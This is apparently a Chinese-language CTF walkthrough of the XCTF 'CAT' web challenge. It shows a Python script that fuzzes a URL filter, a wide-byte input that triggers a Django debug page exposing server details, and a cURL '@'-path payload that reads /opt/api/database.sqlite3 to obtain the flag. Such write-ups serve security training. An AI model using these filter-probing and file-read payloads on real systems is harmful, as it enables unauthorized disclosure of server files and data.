

XCTF 进阶区 CAT

原创

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订阅专栏

这题脑洞是真的大, 讲道理



Cloud Automated Testing

输入你的域名, 例如: loli.club

... Invalid URL

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看到这个, 先尝试了一下命令拼接, 发现字符被过滤了应该。fuzz一下看看, 有哪些字符还没被过滤了

```
import requests
dictory=[!"@", "#", "$", "%", "^", "&", "*", "(", ")","[", "]","?", "<",">",".", "/","'",":", "|","\\","~",":"]
sesssion = requests.session()
for i in range(0,len(dictory)-1):
    response = sesssion.get("http://111.198.29.45:30710/index.php?url="+dictory[i])
    if "Invalid URL" not in response.text:
        print(dictory[i])
```

```
@  
.  
/  
  
Process finished with exit code 0
```

0x02

之后没思路，后面看了师傅的wp才知道，从url编码入手了，直接宽字节走起。



```
<!DOCTYPE html>  
<html lang="en">  
<head>  
  <meta http-equiv="content-type" content="text/html; charset=utf-8">  
  <meta name="robots" content="NONE,NOARCHIVE">  
  <title>UnicodeEncodeError at /api/ping</title>  
<style type="text/css">  
  html * { padding:0; margin:0; }  
  body * { padding:10px 20px; }  
  body ** { padding:0; }  
  body { font:small sans-serif; }  
  body>div { border-bottom:1px solid #ddd; }  
  h1 { font-weight: normal; }  
  h2 { margin-bottom:.8em; }  
  h2 span { font-size:80%; color:#666; font-weight: normal; }  
  h3 { margin:1em 0 .5em 0; }  
  h4 { margin:0 0 .5em 0; font-weight: normal; }  
  code, pre { font-size: 100%; white-space: pre-wrap; }  
  table { border:1px solid #ccc; border-collapse: collapse; width:100%; background:white; }  
  tbody td, tbody th { vertical-align:top; padding:2px 3px; }  
  thead th {  
    padding:1px 6px 1px 3px; background:#fefefe; text-align:left;  
    font-weight: normal; font-size:11px; border:1px solid #ddd;  
  }  
  tbody th { width:12em; text-align:right; color:#666; padding-right:.5em; }  
  table.vars { margin:5px 0 2px 40px; }  
  table.vars td, table.req td { font-family:monospace; }
```

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报错了，而且报错信息是html，把这串html代码，弄成本地文件看看

UnicodeEncodeError at /api/ping
'gbk' codec can't encode character u'\ufffd' in position 0: illegal multibyte sequence

Request Method: POST
Request URL: http://127.0.0.1:8000/api/ping
Django Version: 1.10.4
Exception Type: UnicodeEncodeError
Exception Value: 'gbk' codec can't encode character u'\ufffd' in position 0: illegal multibyte sequence
Exception Location: /opt/api/dnsapi/utils.py in escape, line 9
Python Executable: /usr/bin/python
Python Version: 2.7.12
Python Path: ['/opt/api', '/usr/lib/python3.7', '/usr/lib/python2.7/plat-x86_64-linux-gnu', '/usr/lib/python2.7/lib-tk', '/usr/lib/python2.7/lib-old', '/usr/lib/python2.7/lib-dynload', '/usr/local/lib/python2.7/dist-packages', '/usr/lib/python2.7/dist-packages']
Server time: Wed, 4 Dec 2019 16:05:54 +0000

Unicode error hint

The string that could not be encoded/decoded was: ◆

Traceback [Switch to copy-and-paste view](#)

```
/usr/local/lib/python3.7/dist-packages/django/core/handlers/exception.py in inner
39.         response = get_response(request)
▶ Local vars
/usr/local/lib/python3.7/dist-packages/django/core/handlers/base.py in _get_response
187.         response = self.process_exception_by_middleware(e, request)
▶ Local vars
/usr/local/lib/python3.7/dist-packages/django/core/handlers/base.py in _get_response
185.         response = wrapped_callback(request, *callback_args, **callback_kwargs)
▶ Local vars
/opt/api/dnsapi/views.py in wrapper
21.     return f(*args, **kwargs)
```

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找到了数据库的信息

```
-- DATABASES --
{'default': {'ATOMIC_REQUESTS': False,
    'AUTOCOMMIT': True,
    'CONN_MAX_AGE': 0,
    'ENGINE': 'django.db.backends.sqlite3',
    'HOST': '',
    'NAME': '/opt/api/database.sqlite3',
    'OPTIONS': {},
    'PASSWORD': '*****',
    'PORT': '',
    'TEST': {'CHARSET': None,
        'COLLATION': None,
        'MIRROR': None,
        'NAME': None},
    'TIME_ZONE': None,
    'USER': ''}}
```

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```
'NAME': '/opt/api/database.sqlite3',
'OPTIONS': {}}
```

这里骚的是php CURLOPT_SAFE_UPLOAD 如果加上@的话，会当成绝对路径，来读取文件，刚好@字符没被过滤。

111.198.29.45:47762/index.php?url=@/opt/api/database.sqlite3

京东商城

```
\x00\x00\x00\x00\x1c\x01\x02AWHCTF{yoooo_Such_A_GOOD_@\}\n';</pre></td>
```

结束